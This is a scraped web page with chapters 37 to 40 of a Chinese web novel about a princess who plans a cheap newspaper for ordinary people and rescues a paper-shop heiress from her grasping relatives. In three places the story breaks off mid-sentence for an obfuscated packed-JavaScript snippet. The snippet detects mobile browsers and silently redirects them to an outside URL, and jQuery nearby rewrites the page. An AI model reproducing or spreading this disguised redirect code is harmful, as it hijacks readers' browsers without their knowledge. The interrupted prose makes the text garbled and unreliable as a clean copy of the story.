李铮沉默片刻，手中折扇轻顿：“那这家先继续合作。百姓小报本来就是新增的生意，不急着定下，你再多寻几家纸铺，一并谈谈价。” 百姓小报卖得便宜，眼前几人又是书铺骨干，有些话，还是提前说清为好。 她抬眼看向众人，沉声说道：“我们小报，走得是普通老百姓的路子，价钱务必压到最低。” “咱们书铺，我盼着生意越来越好，但这不只为求财，还有些力所能及的事，要做下去。” “共事这些时日，想必诸位也知晓我的性子。若是有人有别的想法，只图重利，不妨直言，你我好聚好散便是。诸位也可放心，便是分开了，我也绝不为难。” “这话，并非为了削减大家月银。只是如今书铺越来越大，你们又是书铺中流砥柱。那我们的经营想法，便不能有大的分歧。” “我素来知晓，只有衣食住行满足了，才能坐下来谈其他。所以咱们铺中薪水，一直高于同行，日后也会一直如此。” “我说方才那番话，是因为这百姓小报，前期势必投入大，收益微，但我们却非做不可。” “一来，这世上最多的还是寻常老百姓，若能打开局面，那咱们便能稳占头筹。” “二是只要销路铺开，量起来了，就算利薄，也能积沙成塔，帮着我们立于不败之地。” “日后便是有恶人来泼脏水，也丝毫不怕，因为那时，自有百姓替我们撑腰说话。” 一时间，房间内落针可闻，连呼吸声都轻了几分。 咚。 咚。 咚。 37. 议事进行中 张大掌柜率先回过神，躬身答道：“小的愿一直跟随县主！小的本就是寻常百姓，如今在铺中做事，连同行掌柜都艳羡不已。县主心怀百姓，小的全都明白，以后定当绝无二心。” 桂丫和张娘子也跟着表态，自己愿意一直跟着李铮干。 李铮听罢，却未细细分辨到底几分真心，只不置可否点了点头。 反正话已说在前头，往后如何，看行动便是。真若不行，再分道扬镳便是了。 见众人一时都未作声，李铮便径直开口说道：“继续方才的议题。张大掌柜讲到了纸铺谈价，接着说吧。” 被点到的张大掌柜，敛起神色，恭敬回道：“回县主，除了和纸铺谈价外，小的还抽空见了几位，往日与我们有合作的才人。” 李铮闻言，身子微微往前倾了倾，话本二编关系重大，直接影响到接下来的百姓小报。况且自从参与过上次的同好交流会，她觉得话本二编潜力重大。 毕竟原来一册话本，看完大多就直接撂在一边，即使好看，顶天了也就多看两三回。 现下不一样了，只要有人二次改编，故事就能一直活着。想到这，她语气都略急切了一些：“他们怎么说？是否都同意？” 张大掌柜微微颔首，恭敬回道：“有两位态度坚决，不肯松口。余下几位倒是都应下了。” 竟有两位不同意吗？李铮有些若有所思，敲了敲手中折扇：“可有告诉他们，我们会付钱。” 张大掌柜点了点头：“都有说的，小的一见面就跟他们说清楚了。二编会印在什么地方，大概价钱，以及他们能收到的好处。” 条件都已说清，还是有两位不同意吗？想了想，李铮开口问道：“这两位不肯松口的才人，可有说出什么缘由？” 张大掌柜有些为难地说道：“小的问了，说是不想自己写出的人物被改编。因着实在是谈不妥，所以小的就先回来了。” 原来是这样啊，不同意的才人是这么想的。 李铮敲了敲桌案，抬头看向张大掌柜，沉声说道：“既然如此，这两位便先放着。上月二十刊刻的《月满西厢》和《水榭谜案》，才人可应了？” 张大掌柜点点头：“回县主，这两位才人都应下了。” 顿了片刻，他又接着说道：“小的琢磨着，不同意的可能是因为，还没亲自体会过咱们铺子的厉害。话本销量高的才人，都同意了。没同意的那两位，是这次手抄版的才人。” “小的想着，可能是因为他们还没挣到什么钱，也想象不到到底能挣多少钱。跟咱们合作的孙才人，写《水榭谜案》那位。昨日我去，家里大变样不说，孙子也送去了学堂。他一见我就笑出了褶子。” 李铮听着，脸上也忍不住带了些许笑意。缓了片刻，她朗声说道：“卖得不好的，二编来投稿的想必也不多。咱们就先把精力都放在热销话本上。” 三人听罢，齐声应是。 张大掌柜看了一眼李铮，恭敬回道：“小的这边都汇报完了。” 桂丫见状，连忙上前一步，躬身行礼，嗫嚅了下，才轻声答道：“回县主，小的这边主要是收集便民法子。这几天也走街串巷找人聊了，发现有个最大的问题就是，法子都大差不差。” “最多的是持家类法子，这些法子大同小异。至于那些种田的，找营生的，几乎没碰到过。” 有些担心李铮怪罪，她悄悄抬眼觑了几次，又匆忙垂下眉眼，低声回道：“小的想着，许是咱们是城里，村里种田的人家也不住这儿。这两天得空了，我再去集市摆摊卖菜那问问。” 李铮听完，指尖不住摩挲茶杯。到底该怎么办才好呢，光靠自己人去找，得找到猴年马月去。 一直干等也不是办法。要怎么才能让大家主动上门呢。 倏的，脑海里灵光闪过：“你们几人，可愿意自己的本事被别人看见？只要刊刻出来，献策之人便能被看报之人熟识。而且但凡是便民法子，咱们都可以一一标注是谁写的。即使不识字也无妨，只要是好法子，我们通通都要。” “无人赏识之人，若能写出好法子，想必被人看见，寻得伯乐的机会，也会更多！” 说到这里，李铮忍不住站起身，看向眼前众人，朗声说道：“咱们多写些吆喝词，不同人不同说法。比如对店里的伙计，要怎么说，才能让他们愿意开口。你们多想想，刊刻上报对他们来说，到底有什么好处？” “是被自家掌柜看中之后加薪，还是可以另寻高就、换个好前程；又或者可以扬眉吐气，有了跟亲朋好友吹嘘的本钱。” “我仔细想了下，咱们一开始不用非对外求，先向内看。” “头一回刊刻，便是没有普通老百姓的也无妨，自己人说不准就够用了。做掌柜的心得、做活计的心得，审稿时发现的好作品，都有哪些共同之处。” “有太多东西可以写了。” “再说了，好多人没见到小报前，都不一定相信咱们。” 想了想，她转身看向张大掌柜：“若是有铺中伙计，能说出几分经营门道来，你会如何看待？” 张大掌柜抚了抚胡须，沉吟道：“小的平日里，对他们的要求是，能把活计干好便行，不会过多关注，毕竟要忙的事情有很多。” “但若有伙计能总结个一二三来，小的会觉得他这人，还挺有头脑。日后若有升职的机会，定会优先考虑他。” 觑了一眼李铮，语气微顿，他有些嗫嚅地说道：“只是……若这掌柜心胸狭隘，忌惮手下太过能干，怕被抢了位置。那这主动献策之人，反倒可能丢了工作。” 李铮闻言，轻点手中折扇，淡淡说道：“做事哪有一点风险也不冒的。写稿上报，可能被看重，自然也有可能被小人厌弃。端看自己如何取舍了。” 她打量了一眼众人，问道：“你们对我方才所言，有何看法？” 桂丫思索片刻，轻声说道：“这般一来，怕是寻常人都不敢轻易动笔了。” 李铮轻轻颔首：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295732|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本就如此。无论在哪儿，都是有想法、敢行动之人，出路多。” “就像桂丫你，如今能站在这儿，一来是掌柜举荐，说你对经营有想法；二来就是因为你敢走到我跟前，敢说出你的想法。正因你抓住了那次机会，所以现下才能拿正式月银。” 桂丫听得心头一热，眼睛亮晶晶地望着李铮。她万万没想到，县主竟把这些事都记在心里，还这般夸赞自己。 李铮嘴角微微扬起，又看了两眼难掩激动的桂丫，缓缓开口说道：“不遭人妒是庸才。便是没有小报，有想法之人，也会想法子表现。小报只不过是给那些人多搭一个平台罢了。” 桂丫听着连连点头。 张娘子见众人已经聊得差不多，便开口说道：“县主，您方才所言，我细想了一番。那些好作品的共通之处，写倒是可以写出来，只是寻常老百姓，怕是没几个人爱看。” 李铮闻言怔了怔，确实是这个理。不过转念一想，若能让话本才人看到，想必也能帮助他们提升笔力，给些启发。 此前自己便想到过，让孙才人这种有丰富经验的老手，传授些写话本的技巧，如今看来，倒是可以着手做起来了。 知识本就该流通，别的她干涉不了，可这写话本的门道，她还是可以推上一把的。 张娘子见她久久不语，捻了两下衣袖，轻声问道：“县主，可是方才我说的有什么不妥？” 听到这话，李铮这才回过神，压下心中思绪，温声道：“方才走神想了些别的，并无不妥。” 敲了两下折扇，她开口吩咐道：“这好话本的共通之处，你抽空整理出来，日后拿给那些话本才人看。好歹能让他们有个方向，省些功夫，不至于四处摸索。” 张娘子笑着应声：“晓得了。您前些日子吩咐收集的故事，这几日也收上来不少，有几篇还是很不错的。” 顿了顿，她又说道：“书铺现下名气大了，有些人未曾写过话本，便想着从短篇故事入手。还有些，想来是家中有人在衙门当差，投的几篇都是市井小事、小民争端。读着倒也颇为有趣。” 李铮听闻竟有小吏主动来投短篇故事，猛地抬眼，笑道：“咦，竟有小吏主动来投吗？看来咱们日后不愁故事了。他们常年跟人打交道，手中故事定会源源不断。” 张娘子笑着点头：“正是如此。我已留意这几人，往后也会多加关照。” “还有您先前吩咐的，雇一位擅写故事之人来。小的已联系上此前认识的一位书生。这人虽不擅编造故事，却文笔工整，最擅长把别人的故事整理润色。” “如今来投咱们这小报的，多是只会口述，或者虽然会写，但文笔一般。” “小的思量再三，觉得他最为合适。薪酬可先按固定月银发放，等小报刊刻出来，您见了他的文笔，再来定后续章程。县主，您看这般安排可还行？” 李铮闻言看了眼张娘子：“不错，便依你所言。” 张娘子心中一松，躬身应下。 38. 贪婪嘴脸 这两日，李铮又去了两回书铺。 便民法子已安排下去，书铺内上上下下，但凡有想法的人，都在琢磨怎么落笔；不会写字的人，便托相熟之人代为誊抄。她去书铺时，常能碰见伙计、匠人围着张娘子请教。 只是这些来请教的，一见她来，便立马敛了声息，躬身行礼，小步快走退了下去。 收上来的故事，李铮也随手翻了几篇，其中小吏们写的那几篇，确实出彩，每篇走向都出人意料，任谁也猜不到收尾。 她一时好奇，还特意去问了桂丫她们，才知道这些不算凭空编造。 这类案子市井间并不算稀奇，偶尔是会发生。她们家附近，便有一户人家，遇上过类似之事。 李铮暗自颔首，这些都是自己此前不曾知晓的。 只是这百姓小报一事，筹备至今，唯独纸铺合作还是没有太大进展。 一大清早，李铮便被窗外的鸟叫声吵醒，再无睡意。她简单用了些早点，便直接坐上马车去了书铺，平日爱吃的槐叶冷淘，味道都淡了三分。 步履匆匆上了雅间，她站在窗前，漫无目的望着外头。 日头渐盛，窗前着实有些晒人，她只好又退了两步。 若是纸张谈不到好价格，那百姓小报的价钱，势必要受到影响。 到底该如何是好？是自己掏钱贴补，还是继续等等，亦或是直接涨价？ 难道这书铺前期投入，就是如此之大？ 李铮不住思索着，一遍遍回忆起往日张氏和安王和她说过的话，想从中寻到几点启发，忽听得门外传来叩门声。 她转过身来，见是张大掌柜，晓得他是要回禀进度，不待他行礼请安，便径直问道：“这两日见过几家纸铺？还是没有太大进展吗？” 张大掌柜小心地觑了李铮两眼，躬身回禀，声音透着些小心翼翼：“回县主，一共见了六家，都是城里的老纸铺。” “这六家纸铺，四家直接回绝了，没有谈的余地。剩下两家还在斟酌中。只是其中一家，有些不太平，如今群龙无首，又只有一个招赘的女儿，家中族人争产争得厉害。” 听到这里，李铮抬眼看过去，开口问道：“这家既乱，价钱是否好谈？与你接洽的，又是何人？” 张大掌柜低头思忖片刻，恭敬回道：“回县主，他家前些日子，老掌柜刚故去，家中没男丁，说是传位子给女儿，但有些叔伯不服气，如今都盯着这份产业，乱得很。” “最开始与我见面之人，便是那位新上任的赵掌柜，只是后来，又有老掌柜的亲族找上门来。” 他顿了顿，小心问道：“县主，您看，咱们是坐等她们分出胜负，还是先下注呢？” 李铮闻言不由思量起来，手中折扇轻点着掌心，一下，又一下。 忽地，她手中动作停下，抬眼看向张大掌柜：“你去安排下，我想见见这位新上任的赵掌柜。等我见过此人，再做定夺。” 张大掌柜躬身应是，转身离开书铺。 李铮便在雅间静坐等候。她刚落座，周嬷嬷便连忙吩咐丫鬟沏茶、上点心。 吃着爱吃的点心，喝着爱喝的茶，李铮心中焦躁慢慢平缓下来。 她静下心，暗自思索待会见面的情形。 若是这位赵掌柜有脑子、知进退，又能扶得起来，便可合作试试。若是不堪大用，那就索性不掺和了，免得平白给自己找麻烦。 这家纸铺不行，再寻别家便是。 实在不行，便自己先垫钱做着。待小报真正做起来，销量上去，再和那些纸铺谈合作便是。到时候，便是自己占据主动权了。 这边李铮不住思索着，另一边赵家纸铺，从一大早开始，便一直充斥着戾气。 铺门半开着，后院那间老掌柜生前常用来议事的屋子，此刻乌泱泱立满了人。 赵掌柜端坐在主位上，身后立着她的夫君，还有几位雇来的壮仆，勉强撑着场面。 下首，几位叔伯随意搬了椅子坐着，身后还跟着各家的儿子，一行人七嘴八舌地，聒噪极了。目光还时不时盯在赵掌柜身上。 “二娘，这主位不该你坐。你是晚辈，在座那么多你的长辈。尊卑之礼，你都学到哪里去了？” “想来是三哥平日里只顾着忙生意，忘了好好教你规矩。” “经营纸铺这般繁琐的事，你一个女流之辈，哪里应付得来？不若交给族里打理，到时你只管安心拿分红便是。何乐而不为呢？” 赵掌柜越听越气，浑身都在发颤，手中帕子攥得死死的。这些人，这些人往日里对着父亲、对着自己，个个脸上堆着笑，一副亲近模样。 万万想不到，父亲一去，便立马变了嘴脸，又贪婪又凉薄。 真是可笑。她猛地把茶杯撂在桌上，‘啪’地一声脆响，惹得底下众人都瞧过来，大口喘了几口气，她竭力放平声音，一字一句说道： “爹将纸铺传于我，此事早已在官府备案，过了红契。无论谁来置喙，这纸铺的主，都是我来当！” “我不怕辛苦，也劳烦各位叔伯，莫再多讲那些帮我的虚话。” 下首的二伯当即拍案而起，平日慈眉善目的脸，此刻扭曲又狰狞：“你这丫头！你自己说，你对得起你爹吗！我们是你爹的同胞亲兄弟，这是我们老赵家的产业。便是契约在你手里又如何？族里不认可，你认为，你坐得稳这主位？” 读过书的大伯，假模假样地瞪了二伯一眼，随即微微笑着：“你二伯这人，性子急，说话不中听，回头我定好好教训他。” “不过二娘，我们是真心为了你好啊。你一个女娘，底下伙计、匠人，哪个会真正服你？你忍心看到你爹一辈子的心血，最后落得个倒闭收场吗？” 他顿了顿，又装作语重心长的样子，敛起那点稀薄的笑意：“想必你也知晓，近来因着铺子不太平，不少老主顾都跟咱断了合作，你若再坚持下去，想必断了合作的主顾会更多。” “这铺子关系到多少人的生计，二娘，你不能只考虑自己啊。你也得为他们考虑考虑。你说是不是这个理？” 话音刚落，底下的人便跟着七嘴八舌附和起来： “是啊二娘，族人才是你的依靠。你不信我们，难道信那些外姓人？” “你把铺子交给族里打理，照样能拿分红，这是皆大欢喜的事啊！” 赵掌柜静静看着底下这群所谓的''亲人''，有唱白脸的，有唱红脸的，个个打着为她好的幌子，眼里却是藏不住的贪婪。 往日里，她吃过她们递过来的点心瓜果，穿过她们缝补的衣衫，和他们家的孩童一同嬉闹玩耍......桩桩件件，此刻清晰地浮现在她眼前。 心头气愤渐渐平复，她望着底下这一张张虚伪嘴脸，只觉浑身冰凉，满心无力。 她如今已是群狼环伺，如同那案板上的肉，谁都想来撕咬一口，可她却半分还手之力也无。 而且大伯说得没错，老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304137|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主顾流失这事，她早已知晓，也曾费尽心思上门挽留，可终究无济于事。 那些往日合作甚好的老主顾，就像商量好一样，统一了口径，半分情面也无，丝毫不松口。想来，必是族里暗中许了他们什么好处。 底下几十号伙计、匠人，皆等着发月钱糊口；往日里供货的商家，也接二连三登门，催要货款，步步紧逼，没有半分喘息空间。 她到底要怎么做，才能破局？ 这纸铺是父亲心血，是万万不可交出去的。以那些人贪婪的嘴脸，一旦交出去，自家人便会被吃干抹净，说不准连性命都保不住。 他们那般贪得无厌，又怎会留着她这般大的隐患在身边？毕竟，留着她们家，多影响族里的名声啊。 赵掌柜久久未作声，底下族人逐渐按捺不住，语气愈发暴躁，声音也陡然变大。有几个性子毛躁的，甚至伸手指着她，厉声催她给个说法。万幸她提前雇了壮仆守在身旁。 真是可笑至极，这是她的书铺，是爹亲手传给她的，她凭什么要给那些所谓的族人一个说法？ 红纸黑字的契约，写着明明白白、清清楚楚。这纸铺，是爹的心血，是爹一点点慢慢做大的，跟族里半分干系也无。 偏这些人，偏这些人，竟这般贪婪、步步紧逼，非过来抢夺。 她怎么就摊上了这样一群狼心狗肺的亲人？ 赵掌柜咬了咬牙，看着底下众人，渐渐有了决断。实在不行，便降价跟那县主的书铺合作便是。纵使亏本，也绝不能便宜眼前这起子小人。 爹的铺子，绝不能落入这些贪婪之徒手中！ 可念头刚定，她又忍不住泛起了愁，也不知那县主为人究竟如何？是跟这些亲戚一样贪婪，还是如传闻一样从不欺负人？ 虽说往日里这县主还行，但看着眼前这些撕破脸的亲人，她又犹豫起来。 县主若真与自己合作，会不会趁机逼迫自己把铺子献上去？又或是嫌她这一摊子烂事太过麻烦，另找了别家纸铺合作了？ 郡王府深宅大院，她一个商户女娘，定然是进不去的。若是往那县主的书铺送信，不知能否真的送到县主手中，得见一面。 还有那书铺掌柜，为人品性又如何，会不会见她如今处境艰难，趁机落井下石、索要好处？ 她暗自思索着家中贵重的物件。心中一横，要不，把爹生前说要留给芸娘及笄用的那块玉，拿去送礼吧。 虽说那是爹留给孙女的一片心意，可如今这般情形，也顾不上那些了。 只盼着，那书铺掌柜，收了玉佩，能通融一二，让自己能见县主一面。 缓缓抬起手腕，她轻轻抚摸着爹送的玉镯，虽已进入五月，天渐渐热起来，但手镯此刻却冰凉透骨，一如她自己。 指尖一遍遍摩挲着，她在心底一遍遍祈祷：“爹，若你在天有灵，便瞧瞧女儿吧。女儿如今，要怎么办才好？” 便在此时，门外忽然传来小厮急促的叩门声，屋内众人齐刷刷地转头望去。 门一推开，那小厮便高声通传：“掌柜的，外头五柳斋的张大掌柜来了，说是福安县主有请，让您即刻过去一见。” 赵掌柜猛地抬头，整个人僵在原地，一时忘了反应。 太阳从大门斜照进来，落在她脚边。 是爹在天有灵，显灵了吗？ 无论如何，这一线生机，她一定要死死抓住。 便是饮鸩止渴，她也在所不惜。 39. 雪中送炭 赵掌柜，早已没心思去看屋内众人难看的嘴脸，也懒得去听他们在底下嘀咕嘀咕什么。 她抚了抚胸口，平复下心绪，抬眼看向小厮，脸上总算露出点笑，开口说道：“我即刻便去，万万不能让县主久等，免得失了礼数。” 说罢，她扫了一眼眼前一众族人，沉声说道：“我要去见县主，今日便不招待诸位了。” 一众族人，万没料到福安县主会横插一手，一时皆慌了神，纷纷转头看向大伯。 可往日慈善的大伯脸色沉沉，哪里顾得上他们，甩甩袖子，连句场面话都未说，便径直转身离去。 没了主心骨，余下人面面相觑，只好不甘心地骂骂咧咧几句，一个个灰溜溜地往外走。 屋内终于清静下来。 赵掌柜长长舒出一口气，只觉压在心里的重石，终于松动，露出一丝缝隙来。 她不敢耽搁，略整了整衣衫，交代几句，便跟着小厮往外走。 那一线生机，就在眼前，她一定要死死抓住。 坐上马车，赵掌柜不住揪着手帕，琢磨着待会要怎么开口。 她如今已经没了退路，此番无论如何，都要搭上福安县主的船。 自家铺子，能拿得出手的便是一众熟练工匠，以及深谙造纸流程的自己。而且自家书铺不像别家，没什么架子好摆。 族里那些人说什么工匠不服，也就是些挑拨之词。毕竟，谁会跟钱过不去呢？ 铺子还是那间铺子，那些族人可不会像爹和她一样，对工匠出手大方，不一味压榨。 而且经此一事，若真有人心生动摇，反倒是给了她机会，正好趁机将那些墙头草踢出去。 一切，就看县主选不选她了。 马车跑得飞快，赵掌柜感觉一眨眼的功夫，马车便稳稳停下。 她长舒一口气，攥紧手中帕子，跟在张大掌柜身后，迈步往里走去。 店里人不少，她没敢多打量，只低着头绕开眼前挡着的人，一步步往里走。 台阶不长，她浑身都在发抖，步子像灌了铅，指尖冰凉，嗓子也干涩得厉害。 拳头松开、握紧，一遍又一遍。 心中只有一个念头。 不要慌。 不要慌。 爹在天之灵，定会保佑她的。 胸口剧烈起伏着，终于她站在了那扇门外。张大掌柜正在叩门，门内是她要见的人。 雅间内，李铮正慢悠悠地品着茶，忽听门外传来敲门声，寻思应是张大掌柜来了。 门被推开，又被悄声关上。张大掌柜，上前几步轻声说道：“回县主，纸铺的赵掌柜到了。小的去她店里时，见她正在后院和族人对峙，那场面着实难看。” 顿了顿，他又补充道：“而且，听闻纸铺合作的老主顾，有几家已经断了合作。也不知，有没有族亲插手搅局。” “竟闹到这般地步吗？”李铮抬头看过去，有些诧异地说道：“财帛动人心，这话果然不假。” 放下手中茶杯，李铮沉吟片刻，又开口问道：“那她当时，可有驳斥回去？” 张大掌柜躬身回道：“小的没亲耳听见争执的话。不过瞧着架势，赵家那些族人刚过老掌柜三七便开始闹，如今已有十来日，还是没个定论。” “方才小的到了纸铺，只让伙计进去传了句话。没想到不过片刻功夫，来闹事的族亲便一个个气鼓鼓地散了。” 说着，他抬眼瞥了下李铮的脸色，语气也带上几分赞赏：“想来这赵掌柜，还是有几分头脑的，懂得借您的势。” 李铮轻轻颔首：“行，我知晓了。让她进来吧。” 雅间门吱地一声打开，进来的是位女子，看着约莫三十岁左右，穿着皂青色裙衫，头发有些凌乱。脸色憔悴，眼皮红肿，但她整个人，尤其是眼睛里，透着股决绝的狠劲。 李铮猜想她可能是没什么路好走了。未再细看，她收回目光，转头吩咐道：“周嬷嬷，给她上盏热茶来。” 待这位赵掌柜敛衽行礼后，李铮瞥了两眼她攥紧的手，温声开口：“你先喝几口热茶，润润嗓子。我们待会再慢慢聊。” 她接过茶杯，双手紧紧攥住，一口一口喝着，好似觉不出这茶水是新沏的。 李铮看着，一时不知心里是何滋味，便抬手示意丫鬟：“给她看座。” 不过片刻，茶盏便空了，赵掌柜又敛衽行了一礼，这才缓缓坐下。她声音带着苦涩，娓娓道来：“多谢县主邀我见面。要不今日，真不知该如何收场。” “如今，我也没什么好遮掩的。家门不幸，摊上一帮子贪婪亲戚，父亲一走，便变了副嘴脸。不过，我自小就跟在父亲身边学造纸，铺子里，也都是实打实的老手艺人。” 说着她抬眼看向李铮，眼神坦荡：“县主若有想知晓的，尽管问，我定知无不言。” 李铮思忖片刻，缓缓开口问道：“这纸铺，现下在谁名下？契书上写得是谁？” 话音刚落，赵掌柜便连连点头：“在我名下，官府那边已经重新过了契，只我一人之名。” 听到这里，李铮不自觉松了口气，若是契书都扯不明白，那还是算了。 指尖轻敲了两下桌案，她又问了一个问题：“这纸铺，你能全权做主吗？还是说，要听你夫君的？” 这下赵掌柜没立刻点头，静了片刻，才抬眼，语气坚定：“我能做主，这纸铺，我能做主。” 顿了顿，她有些寒心地补充道：“如今，我也不敢信那些所谓的亲人了。就为了这纸铺，原来和善的族亲，全都变了一副嘴脸，贪婪可怖。” “我招的是赘婿，这书铺是我爹传与我的，是他一辈子的心血。我一定会好好经营。” 李铮点了点头，指尖轻叩桌案，朗声开口：“我知晓了。今日邀你来，其实是想跟你谈桩生意。我们书铺打算做一款给普通老百姓看的小报。当然说是普通百姓，其实识字就是一大关了。内容我们会尽量浅显易读。” 见李铮开始聊正事，赵掌柜悄悄松了口气。她挺直腰背，神色愈发专注。 “主要分为两部分。”李铮徐徐开口：“一是市井小故事，二是便民法子。暂定是半月一期，先印三千份试水。后续再根据销量增减。” “定价上，初步是五到十文一份，一份用纸两张，单面印，对折起来，就是四页 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315955|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “内容和雕版师傅都没问题，万事俱备，只差纸张。”她看向赵掌柜，温声开口：“你说说看，你的想法。” 赵掌柜心里微紧，知道这是让她递投名状。她盘算了下，哪怕亏一点，只要能上县主的船，就能稳住其他老主顾，那些族人也不敢再来铺子闹事。 她咽了口唾沫，抬眼间神色已经十分坦荡：“县主，可用在小报上的纸张分两档。一档是常规话本用的竹纸，大约十文两张。不透字，看起来体面。” “二档是小的铺里出的薄竹纸，约莫能做到三到四文两张。纸张稍软，墨浓了会轻微透字。不过用在给普通百姓看的小报上，也够用了。” “只是这个价钱，铺子几乎没什么利，全靠走量。” 摸了几下手镯，顿了顿，她索性把话挑明：“小的跟县主实话实说，这单生意，是赚不到什么钱的。但能借县主之力，解决铺中麻烦，稳住老主顾、老匠人。于我而言，是桩十足好买卖！” “若能和县主达成合作，小的可以三文两张供货，且全力配合，绝不耽误书铺用纸。” 说完她低下头，双手交叠置于膝上，静等李铮回复。 李铮拿起茶盖，一下又一下，滑过杯沿。倏的，她停下手中动作，端起茶盏，抿了一口。 看着底下等回复的赵掌柜，她心里不住思索是否要合作。 好处是纸价便宜，而且因着这人没什么依靠，不会耍什么幺蛾子，肯定会十分配合。 坏处就是她那一大家子无赖亲戚，有可能会惹麻烦。 不过跟谁合作都是好坏皆有，没有十全十美的。这掌柜有头脑，也算扶得起来，而且着实有些可怜。 既如此，那便合作吧。 打定主意后，她看向眼前一动未动，静等回复的赵掌柜，朗声开口：“便用三文两张的薄竹纸吧。头三千份，四文两张。超过的，按三文两张计价。我不喜占人便宜。” 顿了顿，李铮又温声补充道：“我会让府里的人去你铺里几趟。但纸铺立不立得住，终归还是靠你自己。” 赵掌柜怔了下，猛地抬头，眼神有些错愕，随即鼻子泛红。她站起身，敛衽，深深一拜：“多谢县主体恤。” 李铮抬手示意她坐下：“不必多礼。生意归生意，情分归情分。我要的是质量稳定、工期稳定的纸张。你要的是铺子安稳。咱们各取所需，我并未吃亏。” 不待她说出更多感激的话，李铮开口说道：“明日你休整一番，后日送样纸过来，顺便带上契书，定契前要查验，若是合意，便定个契约。” 赵掌柜激动得点了点头，悬了许久的心，终于放下，她暗自发誓，一定要好好追随县主。 那些亲人为着银钱，便不当人。而县主，明明身居高位，不仅没有落井下石，反而雪中送炭。 摩挲着腕间的手镯，她开始庆幸起来，还好还好，自己没妥协，没答应把铺子让出去。 要不然，爹在天之灵，一定会很痛惜。 离开书铺，赵掌柜没让马车送，她信步走在街上，腕间的手镯也渐渐变暖。 扭头回看五柳斋的招牌，旗帜在风中飘扬。 40. 学堂？夫子？ 心里卸下了担子，赵掌柜感觉周身轻松，他没急着回铺子，而是走走停停。时不时看两眼路两旁的花草树木，又打量两眼对面走来的路人。 终于到了纸铺，因着族人都走了，现在铺门是大开的，不过里面没什么客人。 刚一进铺子，几个伙计小心地瞥过来，打量了她几眼，然后纷纷围上前来：“掌柜的，谈得如何？是不是谈成了？” 赵掌柜听到这话，轻轻露出个笑：“在纸铺的工人，都去后院，咱们一块说。” 伙计们四散开，纷纷开始喊人。 没一会功夫，后院便聚集了十来个人。 赵掌柜站在前方，看着眼前一众匠人和伙计，既有在铺里干了十来年的老手艺人，也有刚来没两年的伙计。许多人都是她亲眼看着，一步步从生涩到熟练的。 此前闹得不可开交之时，她一度心灰意冷，以为最后会落个两败俱伤的下场。族里损了名声，却半分好处没捞到；而自家纸铺，也因着老有人闹事的缘故，没多久因为经营不善关门。 谁曾想，最后竟是柳暗花明又一村。 突然冒出来个福安县主，而且她还雪中送炭。 想到这里，赵掌柜腰背挺直，抬眼看向眼前众人，轻拍手掌，沉声道：“我知晓，大家有许多疑虑，也有很多担忧。但大家放心，纸铺已和福安县主的书铺达成合作。” “纸铺日后照旧是我来做主，县主心善，这两日还会派人来纸铺看看情况。” 底下众人顿时齐声欢呼，一个个激动得抓起身旁人的衣袖，七嘴八舌嚷起来。 “我没听错吧，快，谁来掐我一下！” “咱们这总算是有救了！” “看来又能一块上工了，早上你还我的手套，待会你拿走接着用吧，这也不急了。” “多亏了这福安县主啊，真是活菩萨，佛祖保佑她平平安安。” 待大家情绪逐渐平复，欢呼声低下去，一道道目光又落到她身上。赵掌柜扬起手臂，声音清亮有力：“总之，大家只管放心。咱们纸铺一定会稳稳当当、好好经营下去！” “好了，都散了，大家各自干活去吧！” 说完她又喊来心腹，几人凑到僻静处，赵掌柜压低声音嘱咐道：“没定下契书前，咱们万不可松懈。等下你们几个，把铺里这些年出过的样纸都找齐。新纸，印过字的纸，每样都备一份。” “这些日子，一直耗在家事上，耽误了铺中生计，是我对不住大家。往后，咱们务必专心给福安县主做纸。” “只要能牢牢抱住福安县主这棵大树，日后再不用怕这些上门闹事之人。量那些小人也没这个胆子！” 两名心腹纷纷点头，神色严肃。 三人不敢多耽搁，当即分头忙碌开来。 隔了一日，李铮晨起梳洗妥当，想起今日便是送样纸的日子。因着这位赵掌柜最近变故连连，略一思忖，便索性去了书铺，打算再见上一面，瞧瞧她气色如何。 快要端午节，早上还算凉爽，出门采买之人愈发多起来。 去书铺途中，恰好经过一条早市，短短几十步路，两旁已摆满了卖端午节礼的。卖艾草的、挑香囊的、还有卖五色丝线的，琳琅满目，不一而足。 这些东西府里自然也会备下，可李铮瞧着眼前这般热热闹闹的场面，很是欢喜。只要瞧见这些摊贩，便知晓端午节，近在眼前了。 忽然瞧见一女娘摊前摆着香囊，上面绣了驱邪避灾的五毒图，和寻常纹样有所不同，活灵活现的。 她随手拣起一个，拿在手中掂了掂，布料一般，胜在纹样新奇。不若买些送给到店的客人，先到先得，也算是沾沾喜气了。 